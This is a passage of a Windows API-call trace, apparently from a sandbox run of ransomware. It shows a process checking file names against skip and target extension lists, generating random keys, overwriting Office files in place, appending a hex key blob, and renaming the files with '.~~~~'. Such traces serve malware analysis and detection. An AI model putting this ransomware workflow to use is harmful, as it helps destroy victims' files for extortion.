	[0141.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2c50 | out: hHeap=0x300000) returned 1
	[0141.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0141.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0141.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ae770
	[0141.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0141.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0141.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae770 | out: hHeap=0x300000) returned 1
	[0141.165] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0141.165] GetLastError () returned 0x0
	[0141.166] GetLastError () returned 0x0
	[0141.166] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0141.166] GetLastError () returned 0x0
	[0141.166] GetLastError () returned 0x0
	[0141.166] ReadFile (in: hFile=0x108, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x25dfec0*=0xaf65, lpOverlapped=0x0) returned 1
	[0141.172] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xffff509b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.172] WriteFile (in: hFile=0x108, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0xaf65, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x25dfec0*=0xaf65, lpOverlapped=0x0) returned 1
	[0141.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0141.172] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.173] WriteFile (in: hFile=0x108, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0141.173] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0141.173] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0141.173] CloseHandle (hObject=0x108) returned 1
	[0141.174] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ae770
	[0141.174] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir39f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir39f.gif.~~~~")) returned 1
	[0141.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae770 | out: hHeap=0x300000) returned 1
	[0141.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0141.177] GetLastError () returned 0x0
	[0141.177] RtlWakeConditionVariable () returned 0x0
	[0141.177] GetCurrentThreadId () returned 0x9f4
	[0141.177] GetCurrentThreadId () returned 0x9f4
	[0141.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0141.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37b9a8 | out: hHeap=0x300000) returned 1
	[0141.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2c88 | out: hHeap=0x300000) returned 1
	[0141.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37b9a8
	[0141.177] lstrlenW (lpString=".scr") returned 4
	[0141.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".scr") returned 0x0
	[0141.177] lstrlenW (lpString=".cmd") returned 4
	[0141.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".cmd") returned 0x0
	[0141.178] lstrlenW (lpString=".dll") returned 4
	[0141.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".dll") returned 0x0
	[0141.178] lstrlenW (lpString=".bat") returned 4
	[0141.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".bat") returned 0x0
	[0141.178] lstrlenW (lpString=".cpl") returned 4
	[0141.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".cpl") returned 0x0
	[0141.178] lstrlenW (lpString=".sys") returned 4
	[0141.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".sys") returned 0x0
	[0141.178] lstrlenW (lpString=".msc") returned 4
	[0141.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".msc") returned 0x0
	[0141.178] lstrlenW (lpString=".com") returned 4
	[0141.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".com") returned 0x0
	[0141.178] lstrlenW (lpString=".lnk") returned 4
	[0141.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".lnk") returned 0x0
	[0141.178] lstrlenW (lpString=".msp") returned 4
	[0141.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".msp") returned 0x0
	[0141.178] lstrlenW (lpString=".pif") returned 4
	[0141.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".pif") returned 0x0
	[0141.178] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0141.178] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir3b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0141.182] lstrlenW (lpString=".sqb") returned 4
	[0141.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".sqb") returned 0x0
	[0141.182] lstrlenW (lpString=".ost") returned 4
	[0141.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".ost") returned 0x0
	[0141.182] lstrlenW (lpString=".txt") returned 4
	[0141.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".txt") returned 0x0
	[0141.182] lstrlenW (lpString=".mdt") returned 4
	[0141.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".mdt") returned 0x0
	[0141.182] lstrlenW (lpString=".BDB") returned 4
	[0141.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".BDB") returned 0x0
	[0141.182] lstrlenW (lpString=".eql") returned 4
	[0141.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".eql") returned 0x0
	[0141.182] lstrlenW (lpString=".DBF") returned 4
	[0141.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".DBF") returned 0x0
	[0141.182] lstrlenW (lpString=".EQL") returned 4
	[0141.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".EQL") returned 0x0
	[0141.182] lstrlenW (lpString=".FDB") returned 4
	[0141.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".FDB") returned 0x0
	[0141.182] lstrlenW (lpString=".EDB") returned 4
	[0141.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".EDB") returned 0x0
	[0141.182] lstrlenW (lpString=".DACPAC") returned 7
	[0141.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".DACPAC") returned 0x0
	[0141.182] lstrlenW (lpString=".VHD") returned 4
	[0141.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".VHD") returned 0x0
	[0141.182] lstrlenW (lpString=".DBV") returned 4
	[0141.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".DBV") returned 0x0
	[0141.182] lstrlenW (lpString=".dacpac") returned 7
	[0141.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".dacpac") returned 0x0
	[0141.183] lstrlenW (lpString=".sdf") returned 4
	[0141.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".sdf") returned 0x0
	[0141.183] lstrlenW (lpString=".accdb") returned 6
	[0141.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".accdb") returned 0x0
	[0141.183] lstrlenW (lpString=".DBX") returned 4
	[0141.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".DBX") returned 0x0
	[0141.183] lstrlenW (lpString=".MDT") returned 4
	[0141.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".MDT") returned 0x0
	[0141.183] lstrlenW (lpString=".SQB") returned 4
	[0141.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".SQB") returned 0x0
	[0141.183] lstrlenW (lpString=".vhd") returned 4
	[0141.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".vhd") returned 0x0
	[0141.183] lstrlenW (lpString=".bac") returned 4
	[0141.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".bac") returned 0x0
	[0141.183] lstrlenW (lpString=".mdf") returned 4
	[0141.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".mdf") returned 0x0
	[0141.183] lstrlenW (lpString=".BAK") returned 4
	[0141.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".BAK") returned 0x0
	[0141.183] lstrlenW (lpString=".BAC") returned 4
	[0141.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".BAC") returned 0x0
	[0141.183] lstrlenW (lpString=".dbs") returned 4
	[0141.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".dbs") returned 0x0
	[0141.183] lstrlenW (lpString=".vhdx") returned 5
	[0141.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".vhdx") returned 0x0
	[0141.184] lstrlenW (lpString=".NDF") returned 4
	[0141.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".NDF") returned 0x0
	[0141.184] lstrlenW (lpString=".dat") returned 4
	[0141.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".dat") returned 0x0
	[0141.184] lstrlenW (lpString=".DBS") returned 4
	[0141.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".DBS") returned 0x0
	[0141.184] lstrlenW (lpString=".CKP") returned 4
	[0141.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".CKP") returned 0x0
	[0141.184] lstrlenW (lpString=".edb") returned 4
	[0141.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".edb") returned 0x0
	[0141.184] lstrlenW (lpString=".PST") returned 4
	[0141.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".PST") returned 0x0
	[0141.184] lstrlenW (lpString=".dbf") returned 4
	[0141.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".dbf") returned 0x0
	[0141.184] lstrlenW (lpString=".SQL") returned 4
	[0141.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".SQL") returned 0x0
	[0141.184] lstrlenW (lpString=".pst") returned 4
	[0141.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".pst") returned 0x0
	[0141.185] lstrlenW (lpString=".dbv") returned 4
	[0141.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".dbv") returned 0x0
	[0141.185] lstrlenW (lpString=".SDF") returned 4
	[0141.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".SDF") returned 0x0
	[0141.185] lstrlenW (lpString=".dtxs") returned 5
	[0141.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".dtxs") returned 0x0
	[0141.185] lstrlenW (lpString=".db3") returned 4
	[0141.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".db3") returned 0x0
	[0141.185] lstrlenW (lpString=".OST") returned 4
	[0141.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".OST") returned 0x0
	[0141.185] lstrlenW (lpString=".dbx") returned 4
	[0141.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".dbx") returned 0x0
	[0141.185] lstrlenW (lpString=".DB3") returned 4
	[0141.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".DB3") returned 0x0
	[0141.185] lstrlenW (lpString=".DAT") returned 4
	[0141.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".DAT") returned 0x0
	[0141.185] lstrlenW (lpString=".VHDX") returned 5
	[0141.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".VHDX") returned 0x0
	[0141.185] lstrlenW (lpString=".ndf") returned 4
	[0141.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".ndf") returned 0x0
	[0141.185] lstrlenW (lpString=".DB") returned 3
	[0141.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".DB") returned 0x0
	[0141.186] lstrlenW (lpString=".sql") returned 4
	[0141.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".sql") returned 0x0
	[0141.186] lstrlenW (lpString=".MYD") returned 4
	[0141.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".MYD") returned 0x0
	[0141.186] lstrlenW (lpString=".DBT") returned 4
	[0141.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".DBT") returned 0x0
	[0141.186] lstrlenW (lpString=".ACCDB") returned 6
	[0141.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".ACCDB") returned 0x0
	[0141.186] lstrlenW (lpString=".fdb") returned 4
	[0141.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".fdb") returned 0x0
	[0141.186] lstrlenW (lpString=".bak") returned 4
	[0141.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".bak") returned 0x0
	[0141.186] lstrlenW (lpString=".myd") returned 4
	[0141.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".myd") returned 0x0
	[0141.186] lstrlenW (lpString=".DTXS") returned 5
	[0141.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".DTXS") returned 0x0
	[0141.186] lstrlenW (lpString=".ckp") returned 4
	[0141.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".ckp") returned 0x0
	[0141.186] lstrlenW (lpString=".dbt") returned 4
	[0141.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".dbt") returned 0x0
	[0141.186] lstrlenW (lpString=".db") returned 3
	[0141.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".db") returned 0x0
	[0141.186] lstrlenW (lpString=".TXT") returned 4
	[0141.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".TXT") returned 0x0
	[0141.187] lstrlenW (lpString=".MDF") returned 4
	[0141.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".MDF") returned 0x0
	[0141.187] lstrlenW (lpString=".bdb") returned 4
	[0141.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".bdb") returned 0x0
	[0141.187] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0141.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0141.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0141.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0141.187] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0141.359] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0141.359] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0141.359] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0141.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0141.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0141.360] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26134972718) returned 1
	[0141.360] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbda865d0, dwHighDateTime=0x1d60e1e)) 
	[0141.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0141.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0141.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0141.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a35d8
	[0141.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0141.361] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a35d8 | out: hHeap=0x300000) returned 1
	[0141.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0141.361] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0141.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aec08
	[0141.361] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0141.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0141.361] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aec08 | out: hHeap=0x300000) returned 1
	[0141.361] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0141.361] GetLastError () returned 0x0
	[0141.362] GetLastError () returned 0x0
	[0141.362] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0141.362] GetLastError () returned 0x0
	[0141.362] GetLastError () returned 0x0
	[0141.362] ReadFile (in: hFile=0x108, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x2eda, lpOverlapped=0x0) returned 1
	[0141.367] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xffffd126, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.367] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x2eda, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x2eda, lpOverlapped=0x0) returned 1
	[0141.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0141.367] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.367] WriteFile (in: hFile=0x108, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0141.367] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0141.368] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0141.368] CloseHandle (hObject=0x108) returned 1
	[0141.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aec08
